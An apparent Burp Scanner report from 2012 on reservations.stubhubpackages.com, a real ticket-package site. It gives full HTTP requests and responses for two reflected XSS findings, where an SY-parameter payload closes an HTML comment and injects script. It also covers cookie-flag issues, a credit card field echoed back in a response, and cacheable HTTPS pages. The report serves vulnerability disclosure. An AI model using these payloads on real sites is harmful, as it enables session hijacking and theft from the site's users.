XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection, PoC, Report, reservationsstubhubpackages.com

Part of the Stubhub Ecosystem | reservations.stubhubpackages.com

Report generated by Burp Scanner at Thu Jan 19 09:38:07 CST 2012.

Contents

1. Cross-site scripting (reflected)

1.1. https://reservations.stubhubpackages.com/IPROTOUR/checkcart.asp [SY parameter]

1.2. https://reservations.stubhubpackages.com/iprotour/checkout/checkout2.asp [SY parameter]

2. SSL cookie without secure flag set

3. Cookie without HttpOnly flag set

4. Credit card numbers disclosed

5. Cacheable HTTPS response

5.1. https://reservations.stubhubpackages.com/IPROTOUR/BUY1.ASP

5.2. https://reservations.stubhubpackages.com/IPROTOUR/checkcart.asp

5.3. https://reservations.stubhubpackages.com/iprotour/checkout/checkout2.asp


1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://reservations.stubhubpackages.com/IPROTOUR/checkcart.asp [SY parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://reservations.stubhubpackages.com
Path:   /IPROTOUR/checkcart.asp

Issue detail

The value of the SY request parameter is copied into an HTML comment. The payload 44ec3--><script>alert(1)</script>a1a78d69d3f was submitted in the SY parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /IPROTOUR/checkcart.asp?SY=44ec3--><script>alert(1)</script>a1a78d69d3f HTTP/1.1
Host: reservations.stubhubpackages.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://reservations.stubhubpackages.com/IPROTOUR/BUY1.ASP?ACTION=NEW&DP=&PROGRAMID=PP103289
Cookie: Date=01%2F19%2F2012; UserID=3EV0M8JA7; ASPSESSIONIDSSRDBSDT=PELHMMHDCEABOLILFIANDFLJ; ROUTEID=.morvsthipt06
Content-Length: 10


Response

HTTP/1.1 500 Internal Server Error
Date: Thu, 19 Jan 2012 15:23:32 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8
Cache-control: private
Vary: Accept-Encoding
Content-Length: 9833
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equ
...[SNIP]...
<!-- http://www.stubhubpackages.com/index.php?func=Distro.getAffiliateSection&section=header&affilId=44ec3--><script>alert(1)</script>a1a78d69d3f -->
...[SNIP]...
1.2. https://reservations.stubhubpackages.com/iprotour/checkout/checkout2.asp [SY parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://reservations.stubhubpackages.com
Path:   /iprotour/checkout/checkout2.asp

Issue detail

The value of the SY request parameter is copied into an HTML comment. The payload 4ea22--><script>alert(1)</script>e3b4d00d808 was submitted in the SY parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /iprotour/checkout/checkout2.asp?action=NEW&IR=R&SY=4ea22--><script>alert(1)</script>e3b4d00d808 HTTP/1.1
Host: reservations.stubhubpackages.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://reservations.stubhubpackages.com/IPROTOUR/checkcart.asp?SY=
Cookie: Date=01%2F19%2F2012; UserID=3EV0M8JA7; ASPSESSIONIDSSRDBSDT=PELHMMHDCEABOLILFIANDFLJ; ROUTEID=.morvsthipt06
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 15:24:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8
Cache-control: private
Vary: Accept-Encoding
Content-Length: 42352
Keep-Alive: timeout=5, max=1000
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equ
...[SNIP]...
<!-- http://www.stubhubpackages.com/index.php?func=Distro.getAffiliateSection&section=header&affilId=4ea22--><script>alert(1)</script>e3b4d00d808 -->
...[SNIP]...
2. SSL cookie without secure flag set  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   https://reservations.stubhubpackages.com
Path:   /IPROTOUR/BUY1.ASP

Issue detail

The following cookies were issued by the application and do not have the secure flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.

Issue remediation

The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.

Request

GET /IPROTOUR/BUY1.ASP?ACTION=NEW&DP=&PROGRAMID=PP103289 HTTP/1.1
Host: reservations.stubhubpackages.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.stubhubpackages.com/indycar/indy-500.php
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 15:22:31 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8
Cache-control: private
Set-Cookie: Date=01%2F19%2F2012; path=/
Set-Cookie: UserID=3EV0M8KJS; path=/
Set-Cookie: ASPSESSIONIDSSRDBSDT=AFLHMMHDDIAJBDJAPBLOKPPK; path=/
Vary: Accept-Encoding
Set-Cookie: ROUTEID=.morvsthipt06; path=/
Content-Length: 41839
Keep-Alive: timeout=5, max=1000
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equ
...[SNIP]...
3. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   https://reservations.stubhubpackages.com
Path:   /IPROTOUR/BUY1.ASP

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /IPROTOUR/BUY1.ASP?ACTION=NEW&DP=&PROGRAMID=PP103289 HTTP/1.1
Host: reservations.stubhubpackages.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.stubhubpackages.com/indycar/indy-500.php
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 15:22:31 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8
Cache-control: private
Set-Cookie: Date=01%2F19%2F2012; path=/
Set-Cookie: UserID=3EV0M8KJS; path=/
Set-Cookie: ASPSESSIONIDSSRDBSDT=AFLHMMHDDIAJBDJAPBLOKPPK; path=/
Vary: Accept-Encoding
Set-Cookie: ROUTEID=.morvsthipt06; path=/
Content-Length: 41839
Keep-Alive: timeout=5, max=1000
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equ
...[SNIP]...
4. Credit card numbers disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://reservations.stubhubpackages.com
Path:   /iprotour/checkout/checkout2.asp

Issue detail

The following credit card number was disclosed in the response:

Issue background

Responses containing credit card numbers may not represent any security vulnerability - for example, a number may belong to the logged-in user to whom it is displayed. You should verify whether the numbers identified are actually valid credit card numbers and whether their disclosure within the application is appropriate.

Request

POST /iprotour/checkout/checkout2.asp?action=SAVE&SY= HTTP/1.1
Host: reservations.stubhubpackages.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://reservations.stubhubpackages.com/iprotour/checkout/checkout2.asp?action=NEW&IR=R&SY=
Cookie: Date=01%2F19%2F2012; UserID=3EV0M8JA7; ASPSESSIONIDSSRDBSDT=PELHMMHDCEABOLILFIANDFLJ; ROUTEID=.morvsthipt06
Content-Type: application/x-www-form-urlencoded
Content-Length: 516


ccCount=2&minDeposite=796.00&PType=Credit&use2card=on&Amount=796.00&CardType=AMEX&Card=234566546264265&ExpDateM=1&ExpDateY=2012&OwnerName=43+LK&CVV=&Address1=nop&Address2=inopmi&City=%5Boi&S
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 15:23:56 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8
Cache-control: private
Vary: Accept-Encoding
Content-Length: 46862
Keep-Alive: timeout=5, max=1000
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equ
...[SNIP]...
<input id="Text8" maxLength="20" name="Card2" size="22" value="345345435435345" />
...[SNIP]...
5. Cacheable HTTPS response  previous
There are 3 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

5.1. https://reservations.stubhubpackages.com/IPROTOUR/BUY1.ASP  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://reservations.stubhubpackages.com
Path:   /IPROTOUR/BUY1.ASP

Request

GET /IPROTOUR/BUY1.ASP?ACTION=NEW&DP=&PROGRAMID=PP103289 HTTP/1.1
Host: reservations.stubhubpackages.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.stubhubpackages.com/indycar/indy-500.php
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 15:22:31 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8
Cache-control: private
Set-Cookie: Date=01%2F19%2F2012; path=/
Set-Cookie: UserID=3EV0M8KJS; path=/
Set-Cookie: ASPSESSIONIDSSRDBSDT=AFLHMMHDDIAJBDJAPBLOKPPK; path=/
Vary: Accept-Encoding
Set-Cookie: ROUTEID=.morvsthipt06; path=/
Content-Length: 41839
Keep-Alive: timeout=5, max=1000
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equ
...[SNIP]...
5.2. https://reservations.stubhubpackages.com/IPROTOUR/checkcart.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://reservations.stubhubpackages.com
Path:   /IPROTOUR/checkcart.asp

Request

GET /IPROTOUR/checkcart.asp?SY= HTTP/1.1
Host: reservations.stubhubpackages.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://reservations.stubhubpackages.com/IPROTOUR/BUY1.ASP?ACTION=NEW&DP=&PROGRAMID=PP103289
Cookie: Date=01%2F19%2F2012; UserID=3EV0M8JA7; ASPSESSIONIDSSRDBSDT=PELHMMHDCEABOLILFIANDFLJ; ROUTEID=.morvsthipt06
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 15:22:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8
Cache-control: private
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1000
Connection: Keep-Alive
Content-Length: 25932

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equ
...[SNIP]...
5.3. https://reservations.stubhubpackages.com/iprotour/checkout/checkout2.asp  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://reservations.stubhubpackages.com
Path:   /iprotour/checkout/checkout2.asp

Request

GET /iprotour/checkout/checkout2.asp?action=NEW&IR=R&SY= HTTP/1.1
Host: reservations.stubhubpackages.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://reservations.stubhubpackages.com/IPROTOUR/checkcart.asp?SY=
Cookie: Date=01%2F19%2F2012; UserID=3EV0M8JA7; ASPSESSIONIDSSRDBSDT=PELHMMHDCEABOLILFIANDFLJ; ROUTEID=.morvsthipt06
Content-Length: 10


Response

HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 15:23:26 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8
Cache-control: private
Vary: Accept-Encoding
Keep-Alive: timeout=5, max=1000
Connection: Keep-Alive
Content-Length: 47161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equ
...[SNIP]...
Report generated by Burp Scanner at Thu Jan 19 09:38:07 CST 2012.